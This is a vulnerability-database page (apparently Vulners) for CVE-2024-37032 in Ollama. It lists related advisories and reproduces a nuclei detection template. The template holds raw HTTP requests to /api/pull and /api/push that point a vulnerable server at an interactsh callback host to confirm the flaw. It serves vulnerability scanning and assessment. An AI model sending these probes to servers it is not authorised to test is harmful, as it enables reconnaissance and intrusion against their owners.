Lucene search
+L

Ollama - Remote Code Execution

🗓️ 20 Oct 2026 02:05:18Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 145 Views

Ollama - Remote Code Execution, lack of digest validatio

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Ollama
26 Jun 202403:11
–githubexploit
githubexploit
GithubExploit
Evil-Ollama
24 Jul 202617:36
–githubexploit
attackerkb
attackerkb
CVE-2024-37032
31 May 202404:15
–attackerkb
bdu_fstec
BDU FSTEC
Ollama System Arbitrary File Access
10 Jul 202400:00
–bdu_fstec
cgr
Chainguard
CVE-2024-37032 vulnerabilities
31 May 202404:15
–cgr
circl
Circl
CVE-2024-37032
24 Jun 202415:59
–circl
cnnvd
CNNVD
Ollama Security Breach
31 May 202400:00
–cnnvd
cve
CVE
CVE-2024-37032
31 May 202400:00
–cve
cvelist
Cvelist
CVE-2024-37032
31 May 202400:00
–cvelist
github
Github Security Blog
Ollama does not validate the format of the digest (sha256 with 64 hex digits)
31 May 202406:30
–github
Rows per page
id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  impact: |
    Attackers can exploit improper digest validation to achieve remote code execution on Ollama servers.
  remediation: |
    Update Ollama to version 0.1.34 or later.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  classification:
    epss-score: 0.89633
    epss-percentile: 0.99789
    cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ollama
    product: ollama
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce,ai,vkev,vuln

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and
# digest: 490a00463044022038f63fe38aeafcdaa29172ef2f8ae5adb6afda6119781a1d856ae0d24a0213f102205a34030131ceb735480b905d833945457a5125b47a25ef7c5fa752c6aef567b6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.18.8
EPSS0.89633
SSVC
145